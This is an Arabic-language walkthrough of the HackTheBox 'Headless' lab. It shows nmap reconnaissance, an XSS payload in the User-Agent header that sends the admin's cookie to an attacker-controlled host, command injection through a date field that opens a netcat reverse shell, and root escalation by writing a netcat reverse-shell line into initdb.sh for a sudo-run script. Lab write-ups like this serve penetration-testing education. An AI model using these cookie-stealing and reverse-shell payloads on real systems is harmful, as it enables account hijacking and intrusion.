XSS تعلم اختراق مواقع الويب | ثغرة   



Headless | HTB  


مرحبا أيها الهاكر الأخلاقي،

اليوم لدينا حل لمختبر Headless على موقع HackTheBox والذي يركز بالأساس على طريقة اكتشاف واستغلال ثغرة XSS من البداية لحين الحصول على السيطرة الكاملة على الجهاز الذي سنطبق عليه اختبار الاختراق.

لنبدأ...

نقوم أولًا بفحص الشبكة لمعرفة المنافذ المفتوحة والخدمات التي تعمل عليها عن طريق أداة nmap الغنية عن التعريف من خلال الأمر التالي:

┌──(user@kali)-[/home/user]
└─$ sudo nmap IP
تحليل الشبكة واكتشاف المنافذ المفتوحة عبر Nmap

الخدمة التي تعمل على منفذ 5000 تبدو مثيرة للاهتمام. لنقم بتطبيق nmap من جديد مع خيارات -sC -sV على المنفذ 5000 فقط:

┌──(user@kali)-[/home/user]
└─$ sudo nmap -sC -sV IP -p PORT

-sC لتنفيذ السكربتات الافتراضية

-sV service/version لاستخراج معلومات الخدمة والنسخة المستخدمة

-p لتحديد المنفذ

اكتشاف خدمات الشبكة ونسخها عبر الخيار -sV في Nmap

من النتيجة الواضحة في الصورة حصلنا على بعض المعلومات المفيدة وتبين أن منفذ 5000 هي لخدمة ويب، لنقم بالدخول إليها عن طريق المتصفح بالشكل التالي:

التحقق من خدمة الويب عبر المنفذ 5000 باستخدام المتصفح

تبدو صفحة عادية ومصدر الصفحة (Page source) لا توجد فيها معلومات يمكن أن نستفيد منها غير وجود مسار support/ والتي يمكن الوصول إليها من زر For questions أيضًا، وهي صفحة تمكنك من إرسال أسئلة إلى مدير الموقع سنجرب أن نرسل معها أكواد جافا لنرى إن كانت مصابة بثغرة xss.


لذا ملأت الخانات بمعلومات عشوائية وقبل الضغط على زر الإرسال سأقوم الآن بفتح اداة burpsuite لإعتراض الطلبات والتحكم أكثر بها لتجربة أكواد الجافا:

فتح Burp Suite لاعتراض وتحليل الطلبات قبل إرسالها لتجربة أكواد الجافا

نرسل الطلب الى الRepeater لنتمكن من التعديل عليه قبل إرساله:

نقل الطلب إلى Repeater لتعديل محتوياته قبل الإرسال النهائي

نضع كود جافا في قيمة الـ message ونعرض الresponse في المتصفح، اضغط زر الماوس الأيمن ثم اختر Show response in browser ثم انسخ الرابط الذي يظهر لك وقم بفتحه في المتصفح:

إدخال كود جافا في حقل الـ 'message' وعرض الاستجابة في المتصفح

نلاحظ أن الموقع قام بالكشف عن وجود محاولة اختراق بسبب أكواد الجافا:

اكتشاف محاولة اختراق نتيجة تنفيذ أكواد الجافا

سنقوم بحقن كود الجافا في قيمة User-Agent ونبقي الكود الموجود في قيمة الmessege لنتمكن من رؤية النتيجة عن طريق رسالة الإنذار كما في الصورة السابقة، وتتم العملية كالتالي:

حقن كود جافا في قيمة User-Agent مع إبقاء الكود في قيمة message لمراقبة النتيجة عبر رسالة الإنذار

وبعد نسخ رابط الresponse كما فعلنا سابقًا وفتحه في المتصفح سنلاحظ أن الموقع قام بتنفيذ كود الجافا:

بعد نسخ رابط الاستجابة وفتحه في المتصفح، نلاحظ أن الموقع قام بتنفيذ كود الجافا المحقون

بعد أن تأكدنا من إصابة الموقع بثغرة xss نقوم الآن بتنفيذ أكواد متقدمة للحصول على Cookies المدير والتسجيل في الموقع بحساب المدير:

1- سنقوم بعمل خدمة ويب ليستقبل قيمة الـ Cookie ويعرضها على الشاشة عن طريق البايثون (يمكن عملها بطرق أخرى) ونحفظ الملف باسم get_cookie.py

إنشاء خدمة ويب لعرض قيمة الـ Cookie باستخدام بايثون وحفظ الملف باسم get_cookie.py

2- نقوم بتشغيل ملف البايثون ونبقيه كذلك:

تشغيل خدمة الويب باستخدام ملف بايثون

3- نكتب كود جافا يقوم بسرقة كوكيز المدير ويرسلها إليك،

<script>

var maliciousScript = document.createElement('img'); maliciousScript.src='http://HostIP/?cookie='+encodeURIComponent(document.cookie);

document.body.appendChild(maliciousScript);

</script>



4- نضع كود الجافا في خانة User-Agent ويجب أن تكون سطرًا واحدًا ولا بأس بالمسافات البينية:

إدخال كود جافا في رأس الـ User-Agent كسطر واحد مع إمكانية إضافة المسافات البينية

5- نعود الى ملف البايثون ونلاحظ وصول قيمة الcookie الخاصة بمدير الموقع:

العودة إلى ملف البايثون وملاحظة وصول قيمة الـ Cookie الخاصة بمدير الموقع

6- ما علينا الآن سوى تبديل هذه القيمة من إعدادات المتصفح لدينا لنتمكن من تسجيل الدخول إلى الموقع بحساب المدير اتبع الخطوات الموضحة في الصورة التالية:

تعديل قيمة الـ Cookie في إعدادات المتصفح لتسجيل الدخول بحساب المدير

7- بعد تغيير قيمة الcookie لم يتغير محتوى الصفحة لذلك قمت بالبحث عن المسارات المخفية للموقع عن طريق أداة dirb لإيجاد صفحة تسجيل دخول أو صفحات مشابهة وبالفعل جدت مسار جديد وهو dashboard/ ولا يمكن عرض محتوى الصفحة بصلاحيات المستخدم العادي:

استخدام أداة Dirb لاكتشاف المسارات المخفية والعثور على المسار الجديد dashboard/

لذا بعد تغيير قيمة الcookie وإعادة فتح الصفحة تم عرض محتوى الصفحة:

بعد تعديل قيمة الـ Cookie وإعادة فتح الصفحة، تم عرض محتوى صفحة المدير

حقن الكود:

قم بالضغط على Generate report واذهب الى burp suite ستلاحظ أنها تقوم بإرسال قيمة التاريخ إلى الخادم لتبحث عن القيمة وترسل لك تقرير بحالة الأنظمة في هذا التاريخ، إذن هي تقوم بعملية برمجية وبما أن قيمة الdate تدخل داخل الكود البرمجي الذي يعتمد عليها بالحساب فيمكننا بذلك تجربة وضع أوامر بدل من قيمة التاريخ، وسنحاول الوصول إلى النظام عن طريق حقن أوامر معينة بقيمة ال date ونحصل على shell عن طريق nc من خلال الأمر التالي:

التاريخ=(nc+عنوان IP الخاص بجهازك+المنفذ+-e+/bin/sh)

$(): لاستخدام أمر داخل أمر آخر


وبالفعل نجح الأمر وحصلنا على وصول أولي للجهاز:

نجح التعديل وتمكنا من الوصول إلى الجهاز بصلاحيات المدير

تصعيد الصلاحيات لإيجاد ال Flags:


1- اكتب الأمر التالي لإنشاء جلسة أفضل:

البرنامج النصي -c bash /dev/null

استخدام الأمر script -c bash /dev/null لإنشاء جلسة طرفية مستقلة وتحسين التحكم بالجهاز

2- ابحث في الملفات وستجد user.txt في مجلد home/dvir/

البحث في الملفات للعثور على الملف user.txt في مجلد home/dvir/

3- نكتب الأمر sudo -l لعرض الأوامر التي يمكن للمستخدم الحالي أن ينفذها بصلاحيات عالية

استخدام الأمر sudo -l لعرض الأوامر التي يمكن للمستخدم الحالي تنفيذها بصلاحيات مرتفعة

من الصورة الموضحة أعلاه يمكن استخدام الأمر usr/bin/syscheck/ بصلاحيات مدير وبدون كلمة مرور.

وبعد عرض محتوى usr/bin/syscheck/ يبدو أنه يقوم بتنفيذ ملف آخر باسم initdb.sh في المسار الذي أنت فيه ولكن هذا الملف غير موجود:

بعد عرض محتوى المجلد /usr/bin/syscheck/، تبين أنه يقوم بتنفيذ ملف آخر باسم initdb.sh، ولكن الملف غير موجود في المسار الحالي

فالطريقة التي سنقوم فيها بتصعيد صلاحياتنا لصلاحيات مدير هي أننا سنقوم بإنشاء ملف initdb.sh ونضع فيه أي كود ملغم وعندما نقوم بتشغيل الملف usr/bin/syscheck/ بصلاحيات مدير فسيقوم هو بدوره بتنفيذ الملف initdb.sh -الذي أنشأناه وكتبنا الكود الملغم فيه- بصلاحيات مدير أيضًا عبر الخطوات التالية:

1- نقوم بإنشاء وتغيير محتوى ملف initdb.sh:

$ echo "nc 10.10.16.70 1235 -e /bin/bash" > initdb.sh

إنشاء ملف initdb.sh وتضمين كود لتشغيل اتصال عكسي باستخدام Netcat

2- نجعل الملف قابل للتنفيذ من خلال الأمر:

$ chmod +x initdb.sh

3- نقوم بالإستماع الى منفذ 1235 ثم نطبق الأمر:

$sudo /usr/bin/syscheck

إنشاء ملف initdb.sh وتضمين كود لتشغيل اتصال عكسي باستخدام Netcat

4- حصلنا على الصلاحيات الكاملة في الجهاز:

حصلنا على صلاحيات الجذر (root) في الجهاز

5- نبحث عن ال root flag وغالبا ما يكون في مسار root/:

البحث عن ملف root flag في المسار /root/

بعد ايجادك ال Flag تكون قد اتممت هذا اللاب بنجاح

خلاصة الخطوات لاستغلال الثغرة على لاب Headless

ان خلاصة ما قمنا به من خطوات لاستغلال هذه الثغرة على لاب Headless هو

1- الكشف واستغلال ثغرة xss بشكل متقدم للحصول على ال cookies.

2- وصول أولي للجهاز عن طريق code injection.

3- تصعيد الصلاحيات من خلال استغلال وجود أخطاء برمجية في أحد ملفات الجهاز.


و لاتنسى ان هذه ثغرة واحدة من كثير من الثغرات الموجودة على مواقع الويب، و كل ثغرة يتم استغلالها بطريقة مختلفة

فاذا كنت مهتم بتعلم مجال اختبار الاختراق او اصطياد الثغرات تواصل معنا 

او اضغط على زر  اختبار الاختراق بالاسفل للمعلومات